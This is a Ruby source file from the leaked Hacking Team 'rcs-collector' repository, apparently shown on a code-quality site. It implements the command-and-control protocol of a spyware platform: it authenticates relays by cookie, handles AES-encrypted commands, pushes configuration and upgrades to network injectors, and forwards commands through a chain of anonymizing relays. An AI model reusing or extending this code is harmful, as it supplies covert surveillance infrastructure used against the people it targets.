hackedteam/rcs-collector

View on GitHub
lib/rcs-controller/protocol_parser.rb

Summary

Maintainability
A
3 hrs
Test Coverage
require 'base64'

require 'rcs-common/trace'
require 'rcs-common/crypt'

module RCS
  module Controller

    STATUS_OK = 200
    STATUS_SERVER_ERROR = 500

    class ProtocolParser
      include RCS::Tracer
      include RCS::Crypt

      def initialize(method, uri, content, http)
        @http_method = method
        @http_uri = uri
        @http_content = content
        @http = http
        @injectors = DB.instance.injectors
        @anonymizers = DB.instance.collectors
        @chain = parse_chain(@anonymizers)
      end

      def act!

        case @http_method
          # command from Console (thru DB)
          when 'PUSH'
            status, content = protocol_push
          # command from network component
          when 'POST'
            status, content = protocol_post
        end

        return status, content
      end

      def protocol_push
        # commands sent from the db to be forwarded to the anons

        command = JSON.parse(@http_content)

        trace :debug, "Received command: #{command.inspect}"
        return protocol_send_command(command)

      rescue Exception => e
        trace :error, "Cannot push to anonymizer: #{e.message}"
        trace :debug, e.backtrace.join("\n")
        return STATUS_SERVER_ERROR, e.message
      end

      def protocol_post

        # receive, check and decrypt a command
        commands = protocol_decrypt(@http[:cookie], @http_content)

        # parse the command
        status, response = protocol_execute_commands(commands)

        # encrypt the command
        response = protocol_encrypt(@http[:cookie], response)

        return status, response
      rescue Exception => e
        trace :error, "Invalid received message: #{e.message}"
        trace :fatal, e.backtrace.join("\n")
        return STATUS_SERVER_ERROR, e.message
      end

      def protocol_decrypt(cookie, blob)
        # check that the cookie is valid and belongs to an anon
        element_from_cookie(cookie)

        trace :debug, "Network Element '#{@element['name']}' is sending a command..."

        # decrypt the blob
        blob = Base64.decode64(blob)
        command = aes_decrypt(blob, @element['key'])
        command = JSON.parse(command)

        # TODO: anti replay attack

        return command
      end

      def protocol_encrypt(cookie, command)
        # check that the cookie is valid and belongs to an anon
        element_from_cookie(cookie)

        trace :debug, "Sending command to Network Element '#{@element['name']}'..."

        command = command.to_json

        # encrypt the message
        blob = aes_encrypt(command, @element['key'])
        blob = Base64.strict_encode64(blob)

        return blob
      end

      def protocol_execute_commands(commands)

        trace :debug, "[#{@element['name']}] Received command is: #{commands.inspect}"

        # fallback to array if it's a single command
        commands = [commands] unless commands.is_a? Array

        response = []

        # iterate over all the commands
        commands.each do |command|
          case command['command']
            when 'STATUS'
              protocol_status(command, response)
            when 'LOG'
              protocol_log(command, response)
            when 'CONFIG_REQUEST'
              protocol_config(command, response)
            when 'UPGRADE_REQUEST'
              protocol_upgrade(command, response)
          end
        end

        return STATUS_OK, response
      rescue Exception => e
        trace :error, e.backtrace.join("\n")
        return STATUS_SERVER_ERROR, [{command: 'STATUS', result: {status: 'ERROR', msg: e.message}}]
      end

      def protocol_status(command, response)
        params = command['params']
        status = params['status']
        stats = params['stats']
        msg = params['msg']
        version = params['version']

        # symbolize keys
        stats = stats.inject({}){|h,(k,v)| h.merge({ k.to_sym => v}) }

        # this element is an Anon, else is an Injector
        if @element['type']
          name = 'RCS::ANON::' + @element['name']
          address = @element['address']

          DB.instance.update_status name, address, status, msg, stats, 'anonymizer', version
          DB.instance.update_collector_version(@element['_id'], version)
        else
          name = 'RCS::NI::' + @element['name']
          # we don't have address for the NI, get it from the connection
          address = @http[:x_forwarded_for]

          DB.instance.update_status name, address, status, msg, stats, 'injector', version
          DB.instance.update_injector_version(@element['_id'], version)
        end

        trace :info, "[NC] [#{name}] #{address} #{status} #{msg}"

        response << {command: 'STATUS', result: {status: 'OK'}}
      end

      def protocol_log(command, response)
        params = command['params']
        if @element['type']
          DB.instance.collector_add_log(@element['_id'], params['time'], params['type'], params['desc'])
        else
          DB.instance.injector_add_log(@element['_id'], params['time'], params['type'], params['desc'])
        end
        response << {command: 'LOG', result: {status: 'OK'}}
      end

      def protocol_config(command, response)
        content = DB.instance.injector_config(@element['_id'])

        if content
          trace :info, "[NC] New configuration for RCS::NI::#{@element['name']} (#{content.length} bytes)"
          response << {command: 'CONFIG_REQUEST', result: {status: 'OK', msg: {type: 'rules', body: Base64.strict_encode64(content)}}}
        else
          trace :debug, "[NC] NO New configuration for RCS::NI::#{@element['name']}"
          response << {command: 'CONFIG_REQUEST', result: {status: 'ERROR', msg: "No new config"}}
        end
      end

      def protocol_upgrade(command, response)
        content = DB.instance.injector_upgrade(@element['_id'])

        if content
          trace :info, "[NC] New upgrade for RCS::NI::#{@element['name']} (#{content.length} bytes)"
          response << {command: 'UPGRADE_REQUEST', result: {status: 'OK', msg: {body: Base64.strict_encode64(content)}}}
        else
          trace :debug, "[NC] NO New upgrade for RCS::NI::#{@element['name']}"
          response << {command: 'UPGRADE_REQUEST', result: {status: 'ERROR', msg: "No upgrade available"}}
        end
      end

      def parse_chain(anonymizers)
        trace :debug, "Parsing the anon chains..."

        chain = []

        # find the collector that represent the local instance (find us)
        @me = anonymizers.select {|x| x['instance'].eql? DB.instance.local_instance}.first
        # and put it in front of the chain
        chain << @me

        # fill the chain with the others
        next_anon = @me['next'].first
        until next_anon.eql? nil
          current = anonymizers.select {|x| x['_id'].eql? next_anon}.first
          break unless current
          chain << current
          next_anon = current['next'].first
        end

        trace :info, "Chain is: #{chain.collect {|x| x['name']}.inspect}"

        return chain
      end

      def protocol_send_command(command)
        # retrieve the receiver anon
        receiver = @anonymizers.select{|x| x['_id'].eql? command['anon']}.first
        raise "Cannot send to unknown anon [#{command['anon']}]" unless receiver

        # prepare the command for the receiver
        case command['command']
          when 'config'
            msg = {command: 'CONFIG', params: {}, body: command['body']}
            trace :info, "Preparing CONFIG for '#{receiver['name']}' -- #{msg[:body].inspect}"
          when 'upgrade'
            msg = {command: 'UPGRADE', params: {}, body: command['body']}
            trace :info, "Preparing UPGRADE for '#{receiver['name']}' -- #{msg[:body].size} bytes"
          when 'check'
            msg = {command: 'CHECK', params: {}}
            trace :info, "Preparing CHECK for '#{receiver['name']}'"
        end

        # encrypt for the receiver
        msg = protocol_encrypt(receiver['cookie'], msg)

        # calculate the chain to reach the receiver
        chain = forwarding_chain(receiver)

        # encapsulate into FORWARD commands until the first anon (or collector)
        begin
          # check if the only one in the chain is a collector, then send
          break if chain.size.eql? 1

          # encapsulate for the last anon
          forward = {command: 'FORWARD', params: {address: "#{receiver['address']}:#{receiver['port']}", cookie: 'ID=' + receiver['cookie']}, body: msg}
          #trace :debug, "Forward command: " + forward.inspect

          # get the current receiver
          receiver = chain.pop

          # and encrypt for it
          msg = protocol_encrypt(receiver['cookie'], forward)

          trace :debug, "Forwarding through: #{receiver['name']}"

        end until chain.empty?

        trace :info, "Sending complete command to: #{receiver['name']} (#{msg.size} bytes)"
        trace :debug, "Sending complete command to: #{receiver['address']}:#{receiver['port']}"

        resp = nil

        # send the command
        begin
          Timeout::timeout(300) do
            http = Net::HTTP.new(receiver['address'], receiver['port'])
            http.read_timeout = 300
            #http.set_debug_output($stdout)
            resp = http.send_request('POST', '/', msg, {'Cookie' => 'ID=' + receiver['cookie']})
          end
        rescue Exception => ex
          trace :error, "Cannot communicate with #{receiver['name']}: #{ex.message}"
          return STATUS_SERVER_ERROR, "Cannot communicate with #{receiver['name']}: #{ex.message}"
        end

        cookie = resp['Set-Cookie']
        raise("Invalid cookie from anonimizer '#{receiver['name']}'") unless cookie

        # receive, check and decrypt a command
        reply = protocol_decrypt(cookie, resp.body)

        trace :info, "Received response from '#{@element['name']}': #{reply.inspect}"

        # special case for 'CHECK' request
        if reply['command'].eql? 'STATUS'
          protocol_execute_commands(reply)
          #generate a fake result from the status command
          reply['result'] = {'status' => reply['params']['status']}
        end

        result = reply['result']
        status = result['status']

        return STATUS_OK, status
      end

      def forwarding_chain(anon)
        # we need to have the chain of anon to traverse before sending to the recipient
        # if the anon is in the chain, use it until its position
        # otherwise use the full chain
        # #take_while will take care of all, if not found the chain is the full one
        return @chain.take_while {|x| not x['_id'].eql? anon['_id']}
      end

      def element_from_cookie(cookie)
        # search for anon first
        @element = @anonymizers.select { |x| x['cookie'].eql? cookie.split('=').last }.first
        # then search for injectors
        @element = @injectors.select { |x| x['cookie'].eql? cookie.split('=').last }.first unless @element
        # not found
        raise "Invalid cookie" unless @element
      end

    end

  end
end